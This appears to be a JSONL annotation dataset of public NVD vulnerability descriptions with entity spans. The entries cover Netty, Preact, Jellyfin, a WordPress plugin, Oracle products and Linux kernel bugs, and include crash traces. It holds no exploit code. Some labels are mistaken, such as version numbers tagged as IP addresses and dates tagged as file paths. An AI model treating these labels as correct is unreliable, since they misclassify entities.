{"text": "Netty is an open-source, asynchronous event-driven network application framework. The package `io.netty:netty-codec-http` prior to version 4.1.77.Final contains an insufficient fix for CVE-2021-21290. When Netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. This only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users. Version 4.1.77.Final contains a patch for this vulnerability. As a workaround, specify one's own `java.io.tmpdir` when starting the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user.", "spans": {"CVE_ID: CVE-2021-21290": [[185, 199]], "DOMAIN: java.io": [[730, 737]], "SYSTEM: Windows": [[556, 563]], "SYSTEM: Java": [[417, 421]], "VULNERABILITY: information disclosure": [[248, 270]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24823"}}
{"text": "Preact, a lightweight web development framework, JSON serialization protection to prevent Virtual DOM elements from being constructed from arbitrary JSON. A regression introduced in Preact 10.26.5 caused this protection to be softened. In applications where values from JSON payloads are assumed to be strings and passed unmodified to Preact as children, a specially-crafted JSON payload could be constructed that would be incorrectly treated as a valid VNode. When this chain of failures occurs it can result in HTML injection, which can allow arbitrary script execution if not mitigated by CSP or other means. Applications using affected Preact versions are vulnerable if they meet all of the following conditions: first, pass unmodified, unsanitized values from user-modifiable data sources (APIs, databases, local storage, etc.) directly into the render tree; second assume these values are strings but the data source could return actual JavaScript objects instead of JSON strings; and third, the data source either fails to perform type sanitization AND blindly stores/returns raw objects interchangeably with strings, OR is compromised (e.g., poisoned local storage, filesystem, or database). Versions 10.26.10, 10.27.3, and 10.28.2 patch the issue. The patch versions restore the previous strict equality checks that prevent JSON-parsed objects from being treated as valid VNodes. Other mitigations are available for those who cannot immediately upgrade. Validate input types, cast or validate network data, sanitize external data, and use Content Security Policy (CSP).", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22028"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: fix possible UAF in sctp_v6_available()\n\nA lockdep report [1] with CONFIG_PROVE_RCU_LIST=y hints\nthat sctp_v6_available() is calling dev_get_by_index_rcu()\nand ipv6_chk_addr() without holding rcu.\n\n[1]\n =============================\n WARNING: suspicious RCU usage\n 6.12.0-rc5-virtme #1216 Tainted: G        W\n -----------------------------\n net/core/dev.c:876 RCU-list traversed in non-reader section!!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n 1 lock held by sctp_hello/31495:\n #0: ffff9f1ebbdb7418 (sk_lock-AF_INET6){+.+.}-{0:0}, at: sctp_bind (./arch/x86/include/asm/jump_label.h:27 net/sctp/socket.c:315) sctp\n\nstack backtrace:\n CPU: 7 UID: 0 PID: 31495 Comm: sctp_hello Tainted: G        W          6.12.0-rc5-virtme #1216\n Tainted: [W]=WARN\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n Call Trace:\n  <TASK>\n dump_stack_lvl (lib/dump_stack.c:123)\n lockdep_rcu_suspicious (kernel/locking/lockdep.c:6822)\n dev_get_by_index_rcu (net/core/dev.c:876 (discriminator 7))\n sctp_v6_available (net/sctp/ipv6.c:701) sctp\n sctp_do_bind (net/sctp/socket.c:400 (discriminator 1)) sctp\n sctp_bind (net/sctp/socket.c:320) sctp\n inet6_bind_sk (net/ipv6/af_inet6.c:465)\n ? security_socket_bind (security/security.c:4581 (discriminator 1))\n __sys_bind (net/socket.c:1848 net/socket.c:1869)\n ? do_user_addr_fault (./include/linux/rcupdate.h:347 ./include/linux/rcupdate.h:880 ./include/linux/mm.h:729 arch/x86/mm/fault.c:1340)\n ? do_user_addr_fault (./arch/x86/include/asm/preempt.h:84 (discriminator 13) ./include/linux/rcupdate.h:98 (discriminator 13) ./include/linux/rcupdate.h:882 (discriminator 13) ./include/linux/mm.h:729 (discriminator 13) arch/x86/mm/fault.c:1340 (discriminator 13))\n __x64_sys_bind (net/socket.c:1877 (discriminator 1) net/socket.c:1875 (discriminator 1) net/socket.c:1875 (discriminator 1))\n do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n RIP: 0033:0x7f59b934a1e7\n Code: 44 00 00 48 8b 15 39 8c 0c 00 f7 d8 64 89 02 b8 ff ff ff ff eb bd 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b8 31 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 09 8c 0c 00 f7 d8 64 89 01 48\nAll code\n========\n   0:\t44 00 00             \tadd    %r8b,(%rax)\n   3:\t48 8b 15 39 8c 0c 00 \tmov    0xc8c39(%rip),%rdx        # 0xc8c43\n   a:\tf7 d8                \tneg    %eax\n   c:\t64 89 02             \tmov    %eax,%fs:(%rdx)\n   f:\tb8 ff ff ff ff       \tmov    $0xffffffff,%eax\n  14:\teb bd                \tjmp    0xffffffffffffffd3\n  16:\t66 2e 0f 1f 84 00 00 \tcs nopw 0x0(%rax,%rax,1)\n  1d:\t00 00 00\n  20:\t0f 1f 00             \tnopl   (%rax)\n  23:\tb8 31 00 00 00       \tmov    $0x31,%eax\n  28:\t0f 05                \tsyscall\n  2a:*\t48 3d 01 f0 ff ff    \tcmp    $0xfffffffffffff001,%rax\t\t<-- trapping instruction\n  30:\t73 01                \tjae    0x33\n  32:\tc3                   \tret\n  33:\t48 8b 0d 09 8c 0c 00 \tmov    0xc8c09(%rip),%rcx        # 0xc8c43\n  3a:\tf7 d8                \tneg    %eax\n  3c:\t64 89 01             \tmov    %eax,%fs:(%rcx)\n  3f:\t48                   \trex.W\n\nCode starting with the faulting instruction\n===========================================\n   0:\t48 3d 01 f0 ff ff    \tcmp    $0xfffffffffffff001,%rax\n   6:\t73 01                \tjae    0x9\n   8:\tc3                   \tret\n   9:\t48 8b 0d 09 8c 0c 00 \tmov    0xc8c09(%rip),%rcx        # 0xc8c19\n  10:\tf7 d8                \tneg    %eax\n  12:\t64 89 01             \tmov    %eax,%fs:(%rcx)\n  15:\t48                   \trex.W\n RSP: 002b:00007ffe2d0ad398 EFLAGS: 00000202 ORIG_RAX: 0000000000000031\n RAX: ffffffffffffffda RBX: 00007ffe2d0ad3d0 RCX: 00007f59b934a1e7\n RDX: 000000000000001c RSI: 00007ffe2d0ad3d0 RDI: 0000000000000005\n RBP: 0000000000000005 R08: 1999999999999999 R09: 0000000000000000\n R10: 00007f59b9253298 R11: 000000000000\n---truncated---", "spans": {"FILEPATH: /core/dev.c": [[419, 430], [1105, 1116]], "FILEPATH: /arch/x86/include/asm/jump_label.h": [[668, 702]], "FILEPATH: /sctp/socket.c": [[709, 723], [1204, 1218], [1262, 1276]], "FILEPATH: /01/2014": [[953, 961]], "FILEPATH: /locking/lockdep.c": [[1054, 1072]], "FILEPATH: /sctp/ipv6.c": [[1163, 1175]], "FILEPATH: /ipv6/af_inet6.c": [[1306, 1322]], "FILEPATH: /include/linux/rcupdate.h": [[1471, 1496], [1502, 1527], [1662, 1687], [1711, 1736]], "FILEPATH: /include/linux/mm.h": [[1533, 1552], [1761, 1780]], "FILEPATH: /x86/mm/fault.c": [[1561, 1576], [1808, 1823]], "FILEPATH: /arch/x86/include/asm/preempt.h": [[1607, 1638]], "FILEPATH: /x86/entry/common.c": [[1995, 2014], [2040, 2059]], "FILEPATH: /x86/entry/entry_64.S": [[2119, 2140]], "FILEPATH: dump_stack.c": [[1005, 1017]], "FILEPATH: security.c": [[1362, 1372]], "FILEPATH: socket.c": [[1414, 1422], [1432, 1440], [1870, 1878], [1906, 1914], [1942, 1950]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[883, 887]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53139"}}
{"text": "The Formidable Form Builder WordPress plugin before 4.09.05 allows to inject certain HTML Tags like <audio>,<video>,<img>,<a> and<button>.This could allow an unauthenticated, remote attacker to exploit a HTML-injection byinjecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If the Link gets clicked, Javascript code can be executed. The vulnerability is due to insufficient sanitization of the \"data-frmverify\" tag for links in the web-based entry inspection page of affected systems. A successful exploitation incomibantion with CSRF could allow the attacker to perform arbitrary actions on an affected system with the privileges of the user. These actions include stealing the users account by changing their password or allowing attackers to submit their own code through an authenticated user resulting in Remote Code Execution. If an authenticated user who is able to edit Wordpress PHP Code in any kind, clicks the malicious link, PHP code can be edited.", "spans": {"SYSTEM: WordPress": [[28, 37]], "SYSTEM: PHP": [[931, 934], [980, 983]], "VULNERABILITY: Remote Code Execution": [[853, 874]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24884"}}
{"text": "Jellyfin is a Free Software Media System for managing and streaming media. In affected versions there is an argument injection in the VideosController, specifically the `/Videos/<itemId>/stream` and `/Videos/<itemId>/stream.<container>` endpoints which are present in the current Jellyfin version. Additional endpoints in the AudioController might also be vulnerable, as they differ only slightly in execution. Those endpoints are reachable by an unauthenticated user. In order to exploit this vulnerability an unauthenticated attacker has to guess an itemId, which is a completely random GUID. It’s a very unlikely case even for a large media database with lots of items. Without an additional information leak, this vulnerability shouldn’t be directly exploitable, even if the instance is reachable from the Internet. There are a lot of query parameters that get accepted by the method. At least two of those, videoCodec and audioCodec are vulnerable to the argument injection. The values can be traced through a lot of code and might be changed in the process. However, the fallback is to always use them as-is, which means we can inject our own arguments. Those arguments land in the command line of FFmpeg. Because UseShellExecute is always set to false, we can’t simply terminate the FFmpeg command and execute our own. It should only be possible to add additional arguments to FFmpeg, which is powerful enough as it stands. There is probably a way of overwriting an arbitrary file with malicious content. This vulnerability has been addressed in version 10.8.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: FFmpeg": [[1204, 1210], [1290, 1296], [1384, 1390]], "VULNERABILITY: information leak": [[695, 711]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49096"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/MADV_COLLAPSE: catch !none !huge !bad pmd lookups\n\nIn commit 34488399fa08 (\"mm/madvise: add file and shmem support to\nMADV_COLLAPSE\") we make the following change to find_pmd_or_thp_or_none():\n\n\t-       if (!pmd_present(pmde))\n\t-               return SCAN_PMD_NULL;\n\t+       if (pmd_none(pmde))\n\t+               return SCAN_PMD_NONE;\n\nThis was for-use by MADV_COLLAPSE file/shmem codepaths, where\nMADV_COLLAPSE might identify a pte-mapped hugepage, only to have\nkhugepaged race-in, free the pte table, and clear the pmd.  Such codepaths\ninclude:\n\nA) If we find a suitably-aligned compound page of order HPAGE_PMD_ORDER\n   already in the pagecache.\nB) In retract_page_tables(), if we fail to grab mmap_lock for the target\n   mm/address.\n\nIn these cases, collapse_pte_mapped_thp() really does expect a none (not\njust !present) pmd, and we want to suitably identify that case separate\nfrom the case where no pmd is found, or it's a bad-pmd (of course, many\nthings could happen once we drop mmap_lock, and the pmd could plausibly\nundergo multiple transitions due to intervening fault, split, etc). \nRegardless, the code is prepared install a huge-pmd only when the existing\npmd entry is either a genuine pte-table-mapping-pmd, or the none-pmd.\n\nHowever, the commit introduces a logical hole; namely, that we've allowed\n!none- && !huge- && !bad-pmds to be classified as genuine\npte-table-mapping-pmds.  One such example that could leak through are swap\nentries.  The pmd values aren't checked again before use in\npte_offset_map_lock(), which is expecting nothing less than a genuine\npte-table-mapping-pmd.\n\nWe want to put back the !pmd_present() check (below the pmd_none() check),\nbut need to be careful to deal with subtleties in pmd transitions and\ntreatments by various arch.\n\nThe issue is that __split_huge_pmd_locked() temporarily clears the present\nbit (or otherwise marks the entry as invalid), but pmd_present() and\npmd_trans_huge() still need to return true while the pmd is in this\ntransitory state.  For example, x86's pmd_present() also checks the\n_PAGE_PSE , riscv's version also checks the _PAGE_LEAF bit, and arm64 also\nchecks a PMD_PRESENT_INVALID bit.\n\nCovering all 4 cases for x86 (all checks done on the same pmd value):\n\n1) pmd_present() && pmd_trans_huge()\n   All we actually know here is that the PSE bit is set. Either:\n   a) We aren't racing with __split_huge_page(), and PRESENT or PROTNONE\n      is set.\n      => huge-pmd\n   b) We are currently racing with __split_huge_page().  The danger here\n      is that we proceed as-if we have a huge-pmd, but really we are\n      looking at a pte-mapping-pmd.  So, what is the risk of this\n      danger?\n\n      The only relevant path is:\n\n\tmadvise_collapse() -> collapse_pte_mapped_thp()\n\n      Where we might just incorrectly report back \"success\", when really\n      the memory isn't pmd-backed.  This is fine, since split could\n      happen immediately after (actually) successful madvise_collapse().\n      So, it should be safe to just assume huge-pmd here.\n\n2) pmd_present() && !pmd_trans_huge()\n   Either:\n   a) PSE not set and either PRESENT or PROTNONE is.\n      => pte-table-mapping pmd (or PROT_NONE)\n   b) devmap.  This routine can be called immediately after\n      unlocking/locking mmap_lock -- or called with no locks held (see\n      khugepaged_scan_mm_slot()), so previous VMA checks have since been\n      invalidated.\n\n3) !pmd_present() && pmd_trans_huge()\n  Not possible.\n\n4) !pmd_present() && !pmd_trans_huge()\n  Neither PRESENT nor PROTNONE set\n  => not present\n\nI've checked all archs that implement pmd_trans_huge() (arm64, riscv,\npowerpc, longarch, x86, mips, s390) and this logic roughly translates\n(though devmap treatment is unique to x86 and powerpc, and (3) doesn't\nnecessarily hold in general -- but that doesn't matter since\n!pmd_present() always takes failure path).\n\nAlso, add a comment above find_pmd_or_thp_or_none()\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52934"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/64s: fix program check interrupt emergency stack path\n\nEmergency stack path was jumping into a 3: label inside the\n__GEN_COMMON_BODY macro for the normal path after it had finished,\nrather than jumping over it. By a small miracle this is the correct\nplace to build up a new interrupt frame with the existing stack\npointer, so things basically worked okay with an added weird looking\n700 trap frame on top (which had the wrong ->nip so it didn't decode\nbug messages either).\n\nFix this by avoiding using numeric labels when jumping over non-trivial\nmacros.\n\nBefore:\n\n LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA PowerNV\n Modules linked in:\n CPU: 0 PID: 88 Comm: sh Not tainted 5.15.0-rc2-00034-ge057cdade6e5 #2637\n NIP:  7265677368657265 LR: c00000000006c0c8 CTR: c0000000000097f0\n REGS: c0000000fffb3a50 TRAP: 0700   Not tainted\n MSR:  9000000000021031 <SF,HV,ME,IR,DR,LE>  CR: 00000700  XER: 20040000\n CFAR: c0000000000098b0 IRQMASK: 0\n GPR00: c00000000006c964 c0000000fffb3cf0 c000000001513800 0000000000000000\n GPR04: 0000000048ab0778 0000000042000000 0000000000000000 0000000000001299\n GPR08: 000001e447c718ec 0000000022424282 0000000000002710 c00000000006bee8\n GPR12: 9000000000009033 c0000000016b0000 00000000000000b0 0000000000000001\n GPR16: 0000000000000000 0000000000000002 0000000000000000 0000000000000ff8\n GPR20: 0000000000001fff 0000000000000007 0000000000000080 00007fff89d90158\n GPR24: 0000000002000000 0000000002000000 0000000000000255 0000000000000300\n GPR28: c000000001270000 0000000042000000 0000000048ab0778 c000000080647e80\n NIP [7265677368657265] 0x7265677368657265\n LR [c00000000006c0c8] ___do_page_fault+0x3f8/0xb10\n Call Trace:\n [c0000000fffb3cf0] [c00000000000bdac] soft_nmi_common+0x13c/0x1d0 (unreliable)\n --- interrupt: 700 at decrementer_common_virt+0xb8/0x230\n NIP:  c0000000000098b8 LR: c00000000006c0c8 CTR: c0000000000097f0\n REGS: c0000000fffb3d60 TRAP: 0700   Not tainted\n MSR:  9000000000021031 <SF,HV,ME,IR,DR,LE>  CR: 22424282  XER: 20040000\n CFAR: c0000000000098b0 IRQMASK: 0\n GPR00: c00000000006c964 0000000000002400 c000000001513800 0000000000000000\n GPR04: 0000000048ab0778 0000000042000000 0000000000000000 0000000000001299\n GPR08: 000001e447c718ec 0000000022424282 0000000000002710 c00000000006bee8\n GPR12: 9000000000009033 c0000000016b0000 00000000000000b0 0000000000000001\n GPR16: 0000000000000000 0000000000000002 0000000000000000 0000000000000ff8\n GPR20: 0000000000001fff 0000000000000007 0000000000000080 00007fff89d90158\n GPR24: 0000000002000000 0000000002000000 0000000000000255 0000000000000300\n GPR28: c000000001270000 0000000042000000 0000000048ab0778 c000000080647e80\n NIP [c0000000000098b8] decrementer_common_virt+0xb8/0x230\n LR [c00000000006c0c8] ___do_page_fault+0x3f8/0xb10\n --- interrupt: 700\n Instruction dump:\n XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX\n XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX\n ---[ end trace 6d28218e0cc3c949 ]---\n\nAfter:\n\n ------------[ cut here ]------------\n kernel BUG at arch/powerpc/kernel/exceptions-64s.S:491!\n Oops: Exception in kernel mode, sig: 5 [#1]\n LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA PowerNV\n Modules linked in:\n CPU: 0 PID: 88 Comm: login Not tainted 5.15.0-rc2-00034-ge057cdade6e5-dirty #2638\n NIP:  c0000000000098b8 LR: c00000000006bf04 CTR: c0000000000097f0\n REGS: c0000000fffb3d60 TRAP: 0700   Not tainted\n MSR:  9000000000021031 <SF,HV,ME,IR,DR,LE>  CR: 24482227  XER: 00040000\n CFAR: c0000000000098b0 IRQMASK: 0\n GPR00: c00000000006bf04 0000000000002400 c000000001513800 c000000001271868\n GPR04: 00000000100f0d29 0000000042000000 0000000000000007 0000000000000009\n GPR08: 00000000100f0d29 0000000024482227 0000000000002710 c000000000181b3c\n GPR12: 9000000000009033 c0000000016b0000 00000000100f0d29 c000000005b22f00\n GPR16: 00000000ffff0000 0000000000000001 0000000000000009 00000000100eed90\n GPR20: 00000000100eed90 00000\n---truncated---", "spans": {"FILEPATH: /powerpc/kernel/exceptions-64s.S": [[3104, 3136]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47428"}}
{"text": "soroban-sdk is a Rust SDK for Soroban contracts. Arithmetic overflow can be triggered in the `Bytes::slice`, `Vec::slice`, and `Prng::gen_range` (for `u64`) methods in the `soroban-sdk` in versions up to and including `25.0.1`, `23.5.1`, and `25.0.2`. Contracts that pass user-controlled or computed range bounds to `Bytes::slice`, `Vec::slice`, or `Prng::gen_range` may silently operate on incorrect data ranges or generate random numbers from an unintended range, potentially resulting in corrupted contract state. Note that the best practice when using the `soroban-sdk` and building Soroban contracts is to always enable `overflow-checks = true`. The `stellar contract init` tool that prepares the boiler plate for a Soroban contract, as well as all examples and docs, encourage the use of configuring `overflow-checks = true` on `release` profiles so that these arithmetic operations fail rather than silently wrap. Contracts are only impacted if they use `overflow-checks = false` either explicitly or implicitly. It is anticipated the majority of contracts could not be impacted because the best practice encouraged by tooling is to enable `overflow-checks`. The fix available in `25.0.1`, `23.5.1`, and `25.0.2` replaces bare arithmetic with `checked_add` / `checked_sub`, ensuring overflow traps regardless of the `overflow-checks` profile setting. As a workaround, contract workspaces can be configured with a profile available in the GitHub Securtity Advisory to enable overflow checks on the arithmetic operations. This is the best practice when developing Soroban contracts, and the default if using the contract boilerplate generated using `stellar contract init`. Alternatively, contracts can validate range bounds before passing them to `slice` or `gen_range` to ensure the conversions cannot overflow.", "spans": {"ORGANIZATION: GitHub": [[1445, 1451]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24889"}}
{"text": "Vulnerability in the Oracle Email Center product of Oracle E-Business Suite (component: Message Display). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Email Center. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Email Center, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Email Center accessible data as well as unauthorized update, insert or delete access to some of Oracle Email Center accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [289, 295], [427, 433], [620, 626], [723, 729]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2671"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: core: Fix data race in CPU latency PM QoS request handling\n\nThe cpu_latency_qos_add/remove/update_request interfaces lack internal\nsynchronization by design, requiring the caller to ensure thread safety.\nThe current implementation relies on the 'pm_qos_enabled' flag, which is\ninsufficient to prevent concurrent access and cannot serve as a proper\nsynchronization mechanism. This has led to data races and list\ncorruption issues.\n\nA typical race condition call trace is:\n\n[Thread A]\nufshcd_pm_qos_exit()\n  --> cpu_latency_qos_remove_request()\n    --> cpu_latency_qos_apply();\n      --> pm_qos_update_target()\n        --> plist_del              <--(1) delete plist node\n    --> memset(req, 0, sizeof(*req));\n  --> hba->pm_qos_enabled = false;\n\n[Thread B]\nufshcd_devfreq_target\n  --> ufshcd_devfreq_scale\n    --> ufshcd_scale_clks\n      --> ufshcd_pm_qos_update     <--(2) pm_qos_enabled is true\n        --> cpu_latency_qos_update_request\n          --> pm_qos_update_target\n            --> plist_del          <--(3) plist node use-after-free\n\nIntroduces a dedicated mutex to serialize PM QoS operations, preventing\ndata races and ensuring safe access to PM QoS resources, including sysfs\ninterface reads.", "spans": {"FILEPATH: /remove/update_request": [[163, 185]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1105, 1119]], "VULNERABILITY: race condition": [[521, 535]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40130"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Cloud Control Manager - OMS). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[174, 182]], "IP_ADDRESS: 13.2.0.0": [[184, 192]], "IP_ADDRESS: 13.3.0.0": [[197, 205]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[676, 693]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2626"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: cdg: allow tcp_cdg_release() to be called multiple times\n\nApparently, mptcp is able to call tcp_disconnect() on an already\ndisconnected flow. This is generally fine, unless current congestion\ncontrol is CDG, because it might trigger a double-free [1]\n\nInstead of fixing MPTCP, and future bugs, we can make tcp_disconnect()\nmore resilient.\n\n[1]\nBUG: KASAN: double-free in slab_free mm/slub.c:3539 [inline]\nBUG: KASAN: double-free in kfree+0xe2/0x580 mm/slub.c:4567\n\nCPU: 0 PID: 3645 Comm: kworker/0:7 Not tainted 6.0.0-syzkaller-02734-g0326074ff465 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/22/2022\nWorkqueue: events mptcp_worker\nCall Trace:\n<TASK>\n__dump_stack lib/dump_stack.c:88 [inline]\ndump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\nprint_address_description mm/kasan/report.c:317 [inline]\nprint_report.cold+0x2ba/0x719 mm/kasan/report.c:433\nkasan_report_invalid_free+0x81/0x190 mm/kasan/report.c:462\n____kasan_slab_free+0x18b/0x1c0 mm/kasan/common.c:356\nkasan_slab_free include/linux/kasan.h:200 [inline]\nslab_free_hook mm/slub.c:1759 [inline]\nslab_free_freelist_hook+0x8b/0x1c0 mm/slub.c:1785\nslab_free mm/slub.c:3539 [inline]\nkfree+0xe2/0x580 mm/slub.c:4567\ntcp_disconnect+0x980/0x1e20 net/ipv4/tcp.c:3145\n__mptcp_close_ssk+0x5ca/0x7e0 net/mptcp/protocol.c:2327\nmptcp_do_fastclose net/mptcp/protocol.c:2592 [inline]\nmptcp_worker+0x78c/0xff0 net/mptcp/protocol.c:2627\nprocess_one_work+0x991/0x1610 kernel/workqueue.c:2289\nworker_thread+0x665/0x1080 kernel/workqueue.c:2436\nkthread+0x2e4/0x3a0 kernel/kthread.c:376\nret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306\n</TASK>\n\nAllocated by task 3671:\nkasan_save_stack+0x1e/0x40 mm/kasan/common.c:38\nkasan_set_track mm/kasan/common.c:45 [inline]\nset_alloc_info mm/kasan/common.c:437 [inline]\n____kasan_kmalloc mm/kasan/common.c:516 [inline]\n____kasan_kmalloc mm/kasan/common.c:475 [inline]\n__kasan_kmalloc+0xa9/0xd0 mm/kasan/common.c:525\nkmalloc_array include/linux/slab.h:640 [inline]\nkcalloc include/linux/slab.h:671 [inline]\ntcp_cdg_init+0x10d/0x170 net/ipv4/tcp_cdg.c:380\ntcp_init_congestion_control+0xab/0x550 net/ipv4/tcp_cong.c:193\ntcp_reinit_congestion_control net/ipv4/tcp_cong.c:217 [inline]\ntcp_set_congestion_control+0x96c/0xaa0 net/ipv4/tcp_cong.c:391\ndo_tcp_setsockopt+0x505/0x2320 net/ipv4/tcp.c:3513\ntcp_setsockopt+0xd4/0x100 net/ipv4/tcp.c:3801\nmptcp_setsockopt+0x35f/0x2570 net/mptcp/sockopt.c:844\n__sys_setsockopt+0x2d6/0x690 net/socket.c:2252\n__do_sys_setsockopt net/socket.c:2263 [inline]\n__se_sys_setsockopt net/socket.c:2260 [inline]\n__x64_sys_setsockopt+0xba/0x150 net/socket.c:2260\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nFreed by task 16:\nkasan_save_stack+0x1e/0x40 mm/kasan/common.c:38\nkasan_set_track+0x21/0x30 mm/kasan/common.c:45\nkasan_set_free_info+0x20/0x30 mm/kasan/generic.c:370\n____kasan_slab_free mm/kasan/common.c:367 [inline]\n____kasan_slab_free+0x166/0x1c0 mm/kasan/common.c:329\nkasan_slab_free include/linux/kasan.h:200 [inline]\nslab_free_hook mm/slub.c:1759 [inline]\nslab_free_freelist_hook+0x8b/0x1c0 mm/slub.c:1785\nslab_free mm/slub.c:3539 [inline]\nkfree+0xe2/0x580 mm/slub.c:4567\ntcp_cleanup_congestion_control+0x70/0x120 net/ipv4/tcp_cong.c:226\ntcp_v4_destroy_sock+0xdd/0x750 net/ipv4/tcp_ipv4.c:2254\ntcp_v6_destroy_sock+0x11/0x20 net/ipv6/tcp_ipv6.c:1969\ninet_csk_destroy_sock+0x196/0x440 net/ipv4/inet_connection_sock.c:1157\ntcp_done+0x23b/0x340 net/ipv4/tcp.c:4649\ntcp_rcv_state_process+0x40e7/0x4990 net/ipv4/tcp_input.c:6624\ntcp_v6_do_rcv+0x3fc/0x13c0 net/ipv6/tcp_ipv6.c:1525\ntcp_v6_rcv+0x2e8e/0x3830 net/ipv6/tcp_ipv6.c:1759\nip6_protocol_deliver_rcu+0x2db/0x1950 net/ipv6/ip6_input.c:439\nip6_input_finish+0x14c/0x2c0 net/ipv6/ip6_input.c:484\nNF_HOOK include/linux/netfilter.h:302 [inline]\nNF_HOOK include/linux/netfilter.h:296 [inline]\nip6_input+0x9c/0xd\n---truncated---", "spans": {"FILEPATH: /22/2022": [[706, 714]], "FILEPATH: /kasan/report.c": [[882, 897], [943, 958], [1002, 1017]], "FILEPATH: /kasan/common.c": [[1056, 1071], [1753, 1768], [1790, 1805], [1835, 1850], [1884, 1899], [1933, 1948], [1990, 2005], [2870, 2885], [2917, 2932], [3011, 3026], [3074, 3089]], "FILEPATH: /linux/kasan.h": [[1099, 1113], [3117, 3131]], "FILEPATH: /ipv4/tcp.c": [[1313, 1324], [2371, 2382], [2417, 2428], [3572, 3583]], "FILEPATH: /mptcp/protocol.c": [[1363, 1380], [1408, 1425], [1468, 1485]], "FILEPATH: /x86/entry/entry_64.S": [[1665, 1686]], "FILEPATH: /linux/slab.h": [[2031, 2044], [2073, 2086]], "FILEPATH: /ipv4/tcp_cdg.c": [[2128, 2143]], "FILEPATH: /ipv4/tcp_cong.c": [[2190, 2206], [2244, 2260], [2316, 2332], [3345, 3361]], "FILEPATH: /mptcp/sockopt.c": [[2467, 2483]], "FILEPATH: /x86/entry/common.c": [[2698, 2717], [2758, 2777]], "FILEPATH: /kasan/generic.c": [[2968, 2984]], "FILEPATH: /ipv4/tcp_ipv4.c": [[3400, 3416]], "FILEPATH: /ipv6/tcp_ipv6.c": [[3455, 3471], [3681, 3697], [3731, 3747]], "FILEPATH: /ipv4/inet_connection_sock.c": [[3514, 3542]], "FILEPATH: /ipv4/tcp_input.c": [[3628, 3645]], "FILEPATH: /ipv6/ip6_input.c": [[3794, 3811], [3848, 3865]], "FILEPATH: /linux/netfilter.h": [[3885, 3903], [3932, 3950]], "FILEPATH: slub.c": [[458, 464], [526, 532], [1145, 1151], [1204, 1210], [1229, 1235], [1270, 1276], [3163, 3169], [3222, 3228], [3247, 3253], [3288, 3294]], "FILEPATH: dump_stack.c": [[782, 794], [837, 849]], "FILEPATH: workqueue.c": [[1528, 